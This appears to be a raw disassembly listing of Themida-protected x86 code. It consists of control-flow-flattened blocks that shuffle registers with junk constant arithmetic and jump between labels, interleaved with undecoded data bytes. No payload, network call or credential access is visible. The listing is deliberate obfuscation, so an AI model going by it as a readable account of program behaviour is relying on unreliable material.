		dd 3B87h, 2A91CB81h, 0EBD12E26h, 48EBE9h, 7B68B900h, 0B850692Ah
		dd 39E96636h, 0C158C129h, 0F18107E1h, 54EA466Eh, 38E9D9F7h
		dd 6600005Fh, 866B652h,	805A66F7h, 0F78043F7h, 34CF8049h
		dd 98B65266h, 5EF80h, 5C780F7h,	0F9885A66h, 0F355E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50423A:				; CODE XREF: Themida_:0050AFE0j
		add	ecx, 1
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		dec	ecx
		xor	ecx, 667503FFh
		sub	ecx, 8034D8ECh
		add	eax, 447773E3h
		sub	eax, ecx
		jmp	loc_502584
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 45F68105h, 0C161F64Fh, 16E905E6h, 66FFFFFCh,	8124048Bh
		dd 4ECh, 241C8900h, 8904EC83h, 0E6892434h, 4C681h, 0A6E90000h
		dd 8B00004Bh, 89522414h, 4C281E2h, 0E9000000h, 8DAh, 0BE122768h
		dd 57E95A4Fh, 29000043h, 0FCE952F8h, 57FFFFE9h,	0FFDCEAE9h
		dd 4E981FFh, 51000000h,	2BE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5042C5:				; CODE XREF: Themida_:005089F0j
		push	ebx
		jmp	loc_50DC8D
; ---------------------------------------------------------------------------
		db 0FFh
a4SJ		db '4$ˆ',0
		dw 5900h
		dd 0FFFA03E9h, 0C0C580FFh, 0C8BEE88h, 4C48324h,	668FE680h
		dd 284DB753h, 2C5B66FEh, 53F0001Eh, 0DFF6AEB7h,	0F65BC780h
		dd 0E9D7F6D7h, 6B87h
; ---------------------------------------------------------------------------


loc_504304:				; CODE XREF: Themida_:00506007j
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFE85h, 62EB81h,	88E96809h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50431B:				; CODE XREF: Themida_:0050D19Aj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_50AD25
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 1468240Ch, 8900000Dh, 0EC83240Ch, 1FCFE904h,	76680000h
		dd 89000025h, 0BE562404h, 0
		dd 348B5856h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 0B850505Ch, 2A3746C1h, 505FE9h, 33685000h, 8B0B7330h
		dd 89502404h, 405E0h, 0C0830000h, 24048704h, 73BD555Ch
		dd 0E9074A71h, 7C10h, 4D3DADB8h, 58C70175h, 0EF81C701h
		dd 754D3DADh, 4EF8358h,	5C243C87h, 89240489h, 0FDBF57E0h
		dd 0E9212666h, 0FFFFFCA2h, 0E9FB0158h, 2B2Dh, 2859EE00h
		dd 24EE80CEh, 83240C8Bh, 410404C4h, 0FFE700E9h,	241C31FFh
		dd 0FFEDC8E9h, 4C481FFh, 68000000h, 4E89h, 81243489h, 7F0F2404h
		dd 3C8B2D77h, 4C48124h,	0E9000000h, 493h, 8324048Bh, 0E78104C4h
		dd 151D1305h, 2FC6E9h, 4C48100h, 66000000h, 0E957C768h
		dd 20C7h, 0EE635EBDh, 0F29EE928h, 0D831FFFFh, 8904EC83h
		dd 1D682434h, 8B1BB164h, 89532434h, 4C381E3h, 0E9000000h
		dd 0FFFFF578h, 8324348Bh, 0FF5204C4h, 0E9042474h, 5F55h
		dd 57C868h, 5D50E900h, 68510000h, 1596h
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50D193
; ---------------------------------------------------------------------------
		db 81h
		dd 32C34FEBh, 5BDA0169h, 81243C8Bh, 4C4h, 6185E900h, 0F5890000h
		dd 8124348Bh, 4C4h, 100BE900h, 0C2810000h, 0E8829A1h, 0EA81C201h
		dd 0E8829A1h, 2250B850h, 42D62D2h, 55702654h, 1D31E9h
		dd 4EC8100h, 89000000h,	21BF243Ch, 813CFC0Ah, 9434A6C7h
		dd 87CF8707h, 0E9D2F7D1h, 6BF0h, 4C4835Bh, 0C063B151h
		dd 0D9F606E9h, 0C2E9D1F6h, 6800007Bh, 3E84h, 0E9243C89h
		dd 36F4h, 4C781h, 3C870000h, 0C0595C24h, 0EF8007EFh, 281D0411h
		dd 8B1D2CF8h, 0C483241Ch, 0AFEB8004h, 0E8B450h,	0C30058E3h
		dd 0E9E8EB80h, 24B9h, 0FFD2D0E9h, 240C89FFh, 0C181E189h
		dd 4, 5102C183h, 42474FFh, 81240C8Bh, 4ECh, 243C8900h
		dd 3140E9h
		db 0
; ---------------------------------------------------------------------------


loc_504565:				; CODE XREF: Themida_:00508BACj
		pop	ebp
		add	edx, 0C50FE102h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, edi
		jmp	loc_5074A4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0BA52D801h, 3243783Bh, 148BD001h, 3470E924h
		dd 0C4830000h, 20572904h, 4EB1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5045A2:				; CODE XREF: Themida_:005074DEj
		add	ebp, eax
		jmp	loc_507BB1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 0D701E924h, 0EAC1FFFFh, 0CBEA8102h, 0E95F1D5Dh, 60BBh
		dd 0B850C388h, 0
		dd 1888D001h, 8124048Bh, 4C4h, 241C8B00h, 0FFD552E9h, 93968FFh
		dd 0F7594516h, 3DC181D9h, 89451609h, 240C8BC8h,	2904C483h
		dd 0D6E958C7h, 89FFFFF9h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 242C895Ch, 0F82B28BDh, 0DD1AE946h, 0EAC1FFFFh, 2AF28108h
		dd 1000538h, 0C875AD1h,	0EC685C24h, 8900001Ah, 0E9542434h
		dd 7E60h, 0B2241489h, 444E97Ch,	8B660000h, 0E957240Ch
		dd 2A94h
; ---------------------------------------------------------------------------


loc_50464C:				; CODE XREF: Themida_:0050B146j
		pop	esp
		mov	[esp], edx
		jmp	loc_50B2AE
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C4h
		dd 4, 0FFEB9AE9h, 51D800FFh, 6602EC83h,	0B4240489h, 0E288520Ch
		dd 665AD188h, 0B0506658h, 0F48EE9ECh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50467E:				; CODE XREF: Themida_:005041C5j
		add	esp, 4
		or	eax, eax
		jz	loc_507AF4
		push	ebx
		mov	ebx, 1Ch
		sub	ebx, 31766E3Eh
		add	ebx, edi
		add	ebx, 31766E3Eh
		jmp	loc_50C3E4
; ---------------------------------------------------------------------------
aS3		db '\/3',0
		align 4
		dd 1D4DBE56h, 0DEF753E7h, 0D8B95146h, 817AB122h, 51F06E1h
		dd 0CDF18140h, 41098A06h, 4101E983h, 48EE981h, 0CE29D967h
		dd 0DAC68159h, 81169874h, 6BED6BF6h, 63D6E96Ah,	2AE90000h
		dd 0B9FFFFD1h, 4, 8759CD01h, 248B242Ch,	4EC8324h, 102EE9h
		dd 4C48100h, 57000000h,	364BB850h, 67BF6F7Bh, 31572D19h
		dd 0CF8758C7h, 27F2E9h,	55DBF700h, 7F0C01BDh, 4EDC170h
		dd 47EE9h, 24343300h, 52F1F75Ch, 0FFF03CE9h, 4EC81FFh
		dd 89000000h, 74FF242Ch, 8F5D0424h, 0A3E92404h,	89FFFFF5h
		dd 0FDE92424h, 5B000057h, 6804C483h, 7A17h, 0BF243C89h
		dd 4, 815FFB01h, 2C3h, 75E95300h, 5E000040h, 46F2E9h, 24148B00h
		dd 5304C483h, 4EC81h, 0C890000h, 0F687E924h, 0D5F7FFFFh
		dd 3FE8BE56h, 0C3E928E8h, 66000032h, 0E9240C8Bh, 2283h
		dd 0B7241C89h, 285CB1B6h, 0CB005BF9h, 68C32859h, 1879h
		dd 0B6241489h, 71C68062h, 2875F680h, 0EC815AF3h, 4, 6659E9h
		dd 148B5400h, 4C48124h,	56000000h, 8D527EBEh, 6DEE810Bh
		dd 0C1448F66h, 0EE8103EEh, 26BF775Fh, 0B9E1C681h, 0F2010DDFh
		dd 57E9575Eh, 0FF000064h, 0F8E92434h, 89FFFFD3h, 0D4E92404h
		dd 55000088h, 42474FFh,	24048F5Dh, 3F54E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50481E:				; CODE XREF: Themida_:00508D53j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50DA7D
; ---------------------------------------------------------------------------
		dd 242C335Eh, 33242C31h, 895C242Ch, 0CCBB241Ch,	2911589Fh
		dd 2434FFD8h, 0E789575Bh, 4C781h, 97680000h, 8900003Bh
		dd 4B9240Ch, 1000000h, 3C8759CFh, 0E9515C24h, 0FFFFFD93h
		dd 0BB45066h, 5866E300h, 0EB80D328h, 24148B0Bh,	2804C483h
		dd 3E95BD8h, 80FFFFD8h,	0CC806FE4h, 65C48056h, 0B2AAEC80h
		dd 58E2289Fh, 47E9D030h, 81000084h, 4ECh, 1912E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5048A6:				; CODE XREF: Themida_:0050C356j
		sub	ecx, 775F2FF2h
		jmp	loc_506601
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 1Bh
		dd 81373134h, 5E47C8EBh, 0F926E9E2h, 4BBFFFFFh,	0E9488C5Bh
		dd 2807h, 283FC781h, 565A1358h,	2BEh, 5EF70100h, 8B243C87h
		dd 0F1F62424h, 0CCB60F66h, 4EC81h, 4890000h, 5585424h
		dd 4, 475268h, 242C8900h, 2BDh,	0FFE82900h, 815D2434h
		dd 4C4h, 4EC8100h, 89000000h, 2AE92404h, 89000073h, 0F9E9241Ch
		dd 80FFFFDFh, 0E58022F5h, 0E9CDFE8Fh, 19CCh, 8B240C87h
		dd 4012424h, 0CEE99C24h, 66FFFFCEh, 6824048Bh, 43D5h, 89240489h
		dd 0E7B68E0h, 2C890000h, 1D9FBD24h, 5E9798Ah, 0FF000090h
		dd 0E9042474h, 0FFFFDDFDh, 0BF243C89h, 7A05CD6h, 8E7B951h
		dd 0E9816C7Ah, 28D631BFh, 1C1E181h, 0C18179EFh,	4A432964h
		dd 0DB77E981h, 0CB297301h, 81FB0159h, 0E44EEDC3h, 243C8B18h
		dd 4C481h, 83510000h, 348904ECh, 14B1BE24h, 0BD5530C6h
		dd 3B422490h, 83F00DB9h, 5DE901F5h, 348BF131h, 57CFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5049CA:				; CODE XREF: Themida_:0050AE86j
		add	esp, 4
		dec	edx
		xor	edx, 1A971E11h
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50B350
; ---------------------------------------------------------------------------
		db 0BDh
		dd 76C73DB5h, 140FED81h, 0BCE90773h, 66000064h,	81243C8Bh
		dd 2C4h, 0C3316600h, 0E9C0B70Fh, 8C22h,	8157E389h, 4ECh
		dd 64E7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504A1A:				; CODE XREF: Themida_:00509F62j
		push	ecx
		push	esi
		mov	esi, 576F3731h
		shr	esi, 2
		xor	esi, 0E0A632F3h
		mov	ecx, esi
		jmp	loc_50382C
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 45h
		dd 0E90EC456h, 0DE7h, 8B205D2Dh, 5935055Ah, 0C689BCDDh
		dd 0E9F10158h, 1689h, 0B0E9D701h, 1000087h, 73685EF3h
		dd 8900002Bh, 3AE9240Ch, 89000021h, 8BA52E6h, 4A1F3E56h
		dd 0EA83DAF7h, 43226801h, 80E90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504A7F:				; CODE XREF: Themida_:005065A0j
		xor	eax, ebx
		jmp	loc_50C1F4
; ---------------------------------------------------------------------------
		dw 0E280h
		dd 8BEA8097h, 3E04E9h
		db 0
; ---------------------------------------------------------------------------


loc_504A91:				; CODE XREF: Themida_:0050C54Fj
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_502C2E
; ---------------------------------------------------------------------------


loc_504AA7:				; CODE XREF: Themida_:00505E6Fj
		mov	edi, [esp]
		add	esp, 4
		sub	edx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 4CE67D00h
		dec	esi
		and	esi, 2BEB20CEh
		push	edi
		jmp	loc_50D778
; ---------------------------------------------------------------------------


loc_504AD8:				; CODE XREF: Themida_:0050CC3Ej
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_503111
; ---------------------------------------------------------------------------
		dd 54F2EF81h, 0E950F8F7h, 5015h, 20E9028Fh, 81000056h
		dd 4C4h, 4FF5700h, 52C5E924h, 1C310000h, 241C3324h, 241C895Ch
		dd 1BBh, 0FFD92100h, 1C8B2434h,	4C48124h, 83000000h, 0E9C104C4h
		dd 0FC00B00h, 3F3E84h, 16736800h, 2C890000h, 364D6824h
		dd 1C890000h, 4851E924h, 0E5890000h, 4C581h, 0C5810000h
		dd 2, 92C0E9h, 8F545C00h, 0EC832404h, 241C8904h, 8419E9h
		dd 81C20100h, 0F61D21C2h, 0CC97E948h, 0C281FFFFh, 4, 0E9241487h
		dd 3619h, 0FF2434FFh, 83582434h, 7BE904C4h, 83000037h
		dd 0FF5202C2h, 0FF042474h, 0D7E92434h, 81FFFFDFh, 0F9B8ADC5h
		dd 0E9EB0144h, 7C4Eh, 4244481h,	5AB90174h, 4245401h, 4246C81h
		dd 5AB90174h, 6D89E9h, 8013B100h, 0C1807FF1h, 59C80013h
		dd 7854E9h, 5FF80100h, 48BC189h, 4C48124h, 31000000h, 70E959C8h
		dd 0B9FFFFEBh, 551C7981h, 512B68h, 5048E900h, 0EF810000h
		dd 7718554Fh, 4098E9h, 7BB66800h, 34890000h, 13E95424h
		dd 5F00001Ah, 6C76F681h, 77E95313h, 89FFFFF8h, 216E68E5h
		dd 0C890000h, 0AACB924h, 0BA5267DAh, 1BCD68F8h,	1EFEE981h
		dd 0D12939F0h, 1EFEBD55h, 0E90139F0h, 0D1F8E95Dh, 0FD01FFFFh
		dd 674EC581h, 0E95F349Ch, 0FFFFE936h, 81E3C380h, 4ECh
		dd 240C8900h, 5B4F68h, 0FB2EE900h, 0F581FFFFh, 5D537C2Ch
		dd 0CE0CED81h, 0EB893405h, 0E8A0E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504C8A:				; CODE XREF: Themida_:00508ECEj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	ebp
		push	4DF5h
		mov	[esp], eax
		jmp	loc_508E99
; ---------------------------------------------------------------------------


loc_504CA9:				; CODE XREF: Themida_:00505B1Fj
		mov	esi, [esp]
		add	esp, 4
		neg	eax
		jmp	loc_50C2F9
; ---------------------------------------------------------------------------
a34S		db '34$`)',0
		align 2
		dw 0BB53h
		dd 2, 0A0E9DD01h, 8BFFFFE3h, 4FE2424h, 72E99C24h, 81FFFFEDh
		dd 52097AE6h, 3A10E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504CE2:				; CODE XREF: Themida_:00506E9Bj
		mov	edx, 25EE45B3h
		add	edx, 138C322Ah
		xor	edx, 383E5CC4h
		or	ebp, edx
		pop	edx
		shl	ebp, 3
		add	ebp, 70FD6FDAh
		jmp	loc_503D4F
; ---------------------------------------------------------------------------


loc_504D04:				; CODE XREF: Themida_:00507BCFj
		xor	ecx, 1BB739A3h
		neg	ecx
		sub	ecx, 6B02FDBh
		add	eax, ecx
		pop	ecx
		add	eax, ebp
		sub	eax, 0DAF03FFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5F585ABEh
		sub	eax, ebx
		pop	ebx
		pop	ebp
		jmp	loc_509302
; ---------------------------------------------------------------------------
		dd 31240C33h, 0F6E9240Ch, 5D00006Ch, 8AD8E9h
		db 0
; ---------------------------------------------------------------------------


loc_504D41:				; CODE XREF: Themida_:0050C6E9j
		mov	ecx, 419E3B3Eh
		not	ecx
		jmp	loc_506D46
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B8240489h, 78F50CA9h, 64174335h, 58C52142h,	0EAEFE952h
		dd 0C15DFFFFh, 0CD8102EDh, 6B5677E4h, 2E7DE581h, 0C58140DFh
		dd 0D8ABDE85h, 2C8BE801h, 4477E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504D86:				; CODE XREF: Themida_:0050759Cj
		push	ecx
		mov	ecx, 3F2B4E9Dh
		or	ecx, 51651CE9h
		add	ecx, 0DEC3F2AEh
		xor	edx, ecx
		pop	ecx
		sub	edx, 4FEF778Bh
		sub	edx, esi
		add	edx, 4FEF778Bh
		jmp	loc_50CDB1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 0E9240489h, 887Bh, 36AEE981h,	0E95A37ABh
		dd 0FFFFFF64h, 0B4505166h, 55BDE9A3h, 30680000h, 68000034h
		dd 57F0h, 83242489h, 8F042404h,	56552404h, 4ECFE9h
		db 0
; ---------------------------------------------------------------------------


loc_504DF1:				; CODE XREF: Themida_:0050D4F3j
		pop	esp
		jmp	loc_502144
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C481h, 0F9E90000h, 1000002h, 243C8BF8h, 3304C483h
		dd 5EE92404h, 80FFFFD2h, 8E960CBh, 0BA00007Ch, 4, 6B95EE81h
		dd 0D601242Eh, 6B95C681h, 148B242Eh, 4C48124h, 0E9000000h
		dd 1729h
; ---------------------------------------------------------------------------


loc_504E3C:				; CODE XREF: Themida_:00507EF6j
		xor	[esp], ch
		jmp	loc_501811
; ---------------------------------------------------------------------------
		dd 66C0B60Fh, 0E987048Fh, 0FFFFC9C1h, 34FFF030h, 24148B24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4BE0239Eh
		or	eax, 6375334h
		or	eax, 3EE07E88h
		xor	eax, 7FF77FBAh
		add	ebp, 39A07044h
		jmp	loc_50A6E4
; ---------------------------------------------------------------------------


loc_504E7E:				; CODE XREF: Themida_:0050C45Fj
		and	eax, ebx
		pop	ebx
		jmp	loc_5061C6
; ---------------------------------------------------------------------------


loc_504E86:				; CODE XREF: Themida_:0050B889j
		push	2483h
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 469A1147h
		jmp	loc_5023FF
; ---------------------------------------------------------------------------
		dw 0F088h
aZaX		db 'Zx',0
		db 0C3h, 80h, 0EBh
		dd 5A586678h, 0FFFF93E9h, 9D068FFh, 42E90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_504EBB:				; CODE XREF: Themida_:0050CF05j
		mov	ah, dl
		pop	edx
		mov	ch, ah
		pop	eax
		push	dword ptr [esp]
		jmp	loc_501B3A
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 7E2358C5h, 5DEE015Fh, 4EC81h, 2C890000h, 2BD24h, 0EE010000h
		dd 39D2E9h, 48B6600h, 1991E924h, 2C330000h, 24248B24h
		dd 243CD366h, 0C90FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504F02:				; CODE XREF: Themida_:00501E92j
		xor	ebp, edx
		pop	edx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_50B4BE
; ---------------------------------------------------------------------------


loc_504F0E:				; CODE XREF: Themida_:005086CFj
		pop	esp
		push	ecx
		push	esp
		jmp	loc_50A59B
; ---------------------------------------------------------------------------


loc_504F16:				; CODE XREF: Themida_:00504172j
		push	edi
		mov	edi, 1A3F24E7h
		add	edi, 0EFDD4355h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, edi
		jmp	loc_508816
; ---------------------------------------------------------------------------
		dw 0A9B9h
		dd 0E928024Dh, 6EF7h
; ---------------------------------------------------------------------------


loc_504F3C:				; CODE XREF: Themida_:0050D78Aj
		pop	esi
		add	ebx, edx
		pop	edx
		push	ebx
		mov	ebx, 19AF3EA6h
		not	ebx
		push	edx
		push	ebx
		mov	ebx, 12EA7BBCh
		push	ecx
		push	7E1F3322h
		jmp	loc_50CF5F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2BA5204h, 1000000h, 0FF505AD0h, 0E9042474h, 4938h, 0E903E3C1h
		dd 725Bh
; ---------------------------------------------------------------------------


loc_504F78:				; CODE XREF: Themida_:00508D9Fj
		push	6DEBh
		mov	[esp], eax
		push	ebp
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		push	1CE2h
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_506D94
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 83243C8Bh, 0C78104C4h,	4, 8704C783h, 248B243Ch
		dd 1C21E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_504FC6:				; CODE XREF: Themida_:00508946j
		push	28DFh
		mov	[esp], ecx
		jmp	loc_50685D
; ---------------------------------------------------------------------------


loc_504FD3:				; CODE XREF: Themida_:00505212j
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_50735C
; ---------------------------------------------------------------------------
		dw 1489h
		dd 4EC8124h, 89000000h,	0A868242Ch, 5D6D7114h, 8107E5C1h
		dd 2E7FBEC5h, 3483E97Ah, 77FF0000h, 59669D1Ch, 9C241CD2h
		dd 0FFC804E9h, 0E9F901FFh, 6329h, 2C8BE829h, 4C48324h
		dd 0E955D829h, 0FFFFF9C3h, 24148B66h, 4F1868h, 241C8900h
		dd 3746E954h, 29680000h, 89000047h, 0E951243Ch,	2E1Fh
		dd 815EF301h, 6759E7F3h, 0A6BD5592h, 570D4A7Eh,	0D7ED1BFh
		dd 0E6E78147h, 0E97F4932h, 696Eh, 9D1C77FFh, 11665866h
		dd 0E99C2404h, 0FFFFC79Dh
; ---------------------------------------------------------------------------


loc_505074:				; CODE XREF: Themida_:0050A9E7j
		push	ecx
		mov	ch, 40h
		shl	ch, 8
		xor	ch, 6Ch
		add	dh, ch
		pop	ecx
		push	ecx
		mov	ch, 24h
		xor	ch, 85h
		sub	ch, 87h
		shr	ch, 3
		and	ch, 0CDh
		jmp	loc_505679
; ---------------------------------------------------------------------------


loc_505094:				; CODE XREF: Themida_:005063C6j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_50DD37
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 5B0AC405h, 5050053Ch, 0BE566649h, 0A0A0AB6h,	348BF001h
		dd 75A6E924h, 0BA520000h, 710F2CA6h, 1B3BE9h, 4C48100h
		dd 0E9000000h, 2BB8h, 6BD1C181h, 0E9D17E76h, 5105E9C1h
		dd 0C181E189h, 4, 4E981h, 0FF510000h, 0E9042474h, 49A0h
		dd 8B243487h, 2CD22424h, 6E99C24h, 53FFFFC7h, 0BE4F9CBBh
		dd 5BD80134h, 2B33EC05h, 6E70686Ch, 34890000h, 2410BE24h
		dd 0EE814B13h, 1, 0BD55DEF7h, 472D0C79h, 8107E5C1h, 0BE7E86F5h
		dd 8BEE31F7h, 0C483242Ch, 0FB8DE904h, 0C381FFFFh, 7D9576E9h
		dd 0EB81F301h, 7D9576E9h, 0D0B8505Eh, 56D5C59h,	92A3A634h
		dd 5C78EB81h, 0C30120CFh, 5C78C381h, 875820CFh,	5BE9241Ch
		dd 48FFFFEBh, 30AA2D48h, 0C329490Dh, 5024048Bh,	0B4E9E089h
		dd 52000038h, 0F9E9E289h, 8BFFFFECh, 0C481242Ch, 4, 57E2E950h
		dd 0C1890000h, 0DE95F58h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5051AF:				; CODE XREF: Themida_:005073C8j
		mov	esi, 627A07F6h
		sub	esi, 1
		jmp	loc_5035A9
; ---------------------------------------------------------------------------
		dd 4B9h, 244C0100h, 5D01E904h, 37BD0000h, 68219E79h, 0
		dd 0E9242C29h, 0FFFFFB8Ah, 24048B66h, 24E95455h, 0B900006Ah
		dd 4, 0E959CD01h, 0FFFFEB06h, 5D04C483h, 0EF0E9h, 241C8B00h
		dd 66B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_505205:				; CODE XREF: Themida_:00508215j
		push	ebp
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, edi
		jmp	loc_504FD3
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0C76DE3D8h, 295EF501h, 0EA815BDDh, 7A71552Dh, 8E9EA01h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50522F:				; CODE XREF: Themida_:0050DCACj
		sub	esi, 63A14458h
		add	esi, 66D6675Fh
		sub	esi, ecx
		sub	esi, 66D6675Fh
		jmp	loc_508AF1
; ---------------------------------------------------------------------------
		dd 24048B66h, 1D2B68h, 242C8900h, 5557E589h, 883C6668h
		dd 0CD815D08h, 621A173Ch, 15CDED81h, 814D2264h,	3629ACEDh
		dd 0EE4EE948h, 0CE29FFFFh, 592434FFh, 81E18951h, 4C1h
		dd 4C18300h, 7E5BE9h, 4C18100h,	83000000h, 5E904E9h, 68FFFFDCh
		dd 3775h, 0E9241C89h, 2F02h
; ---------------------------------------------------------------------------


loc_5052A8:				; CODE XREF: Themida_:00508284j
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_502C92
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 4CDB3CCAh
		jmp	loc_50C543
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 41404490h, 5D82F681h, 0F7892403h, 7A6EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5052DD:				; CODE XREF: Themida_:0050729Bj
		add	eax, edx
		sub	eax, 14683EADh
		jmp	loc_509F73
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 4
		dd 0E156E953h, 52ACFFFFh, 0D02853B2h, 0C8E9515Ah
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5052FF:				; CODE XREF: Themida_:00507F54j
		xor	edi, 0E8FC84DFh
		jmp	loc_502D78
; ---------------------------------------------------------------------------
		dw 0DDBDh
		dd 4541DF13h, 550CED81h, 0DDF7366Bh, 654E9h, 0D7F75F00h
		dd 0EFC1D7F7h, 0F7BEE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50532A:				; CODE XREF: Themida_:0050BACFj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5030BD
		push	esi
		push	edi
		mov	edi, 65745B42h
		mov	esi, 988DA17Eh
		sub	esi, edi
		jmp	loc_50D4F8
; ---------------------------------------------------------------------------


loc_505347:				; CODE XREF: Themida_:0050DD29j
		pop	edi
		sub	ecx, 4
		push	2C0Bh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_509C3B
; ---------------------------------------------------------------------------
aXzSP		db 'X<$P',0
		db 0
; ---------------------------------------------------------------------------


loc_505365:				; CODE XREF: Themida_:00501BFAj
		mov	edx, 13B5377Ch
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 526D2A43h
		dec	edx
		or	edx, 19F95D03h
		sub	edx, 57728FBh
		or	edx, 31CA2807h
		xor	edx, 79CA7C3Bh
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5089AE
; ---------------------------------------------------------------------------
		db 2Ch
		dd 4C80093h, 3D93E993h,	0FF500000h, 58042474h, 32D0E9h
		dd 53B95100h, 0E9689B76h, 7358h
; ---------------------------------------------------------------------------


loc_5053CC:				; CODE XREF: Themida_:0050388Cj
		pop	eax
		shr	esi, 3
		sub	esi, 14A40F5h
		sub	ebp, 107178A5h
		add	ebp, esi
		push	ebx
		mov	ebx, 48DB4E39h
		sub	ebx, 5C2257ECh
		jmp	loc_50B00E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0EFE9EB01h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5053F7:				; CODE XREF: Themida_:0050A2CEj
		pop	esi
		dec	edx
		dec	edx
		not	edx
		add	edx, 7EBA5E95h
		jmp	loc_50AF6F
; ---------------------------------------------------------------------------


loc_505407:				; CODE XREF: Themida_:0050281Dj
		xor	dh, 0E6h
		add	dh, 0E9h
		push	40E4h
		mov	[esp], eax
		mov	al, 0F9h
		jmp	loc_50928B
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF830000h, 7791E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50542A:				; CODE XREF: Themida_:00502376j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5059BD
; ---------------------------------------------------------------------------


loc_505441:				; CODE XREF: Themida_:00504129j
		push	ebx


loc_505442:				; DATA XREF: ___:off_4274D8o
		push	10FF19A5h
		jmp	loc_507B9D
; ---------------------------------------------------------------------------
		dd 0E902EDC0h, 0FFFFEE85h, 2C581h, 0EC830000h, 37ABE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505462:				; CODE XREF: Themida_:0050A6F8j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_502679
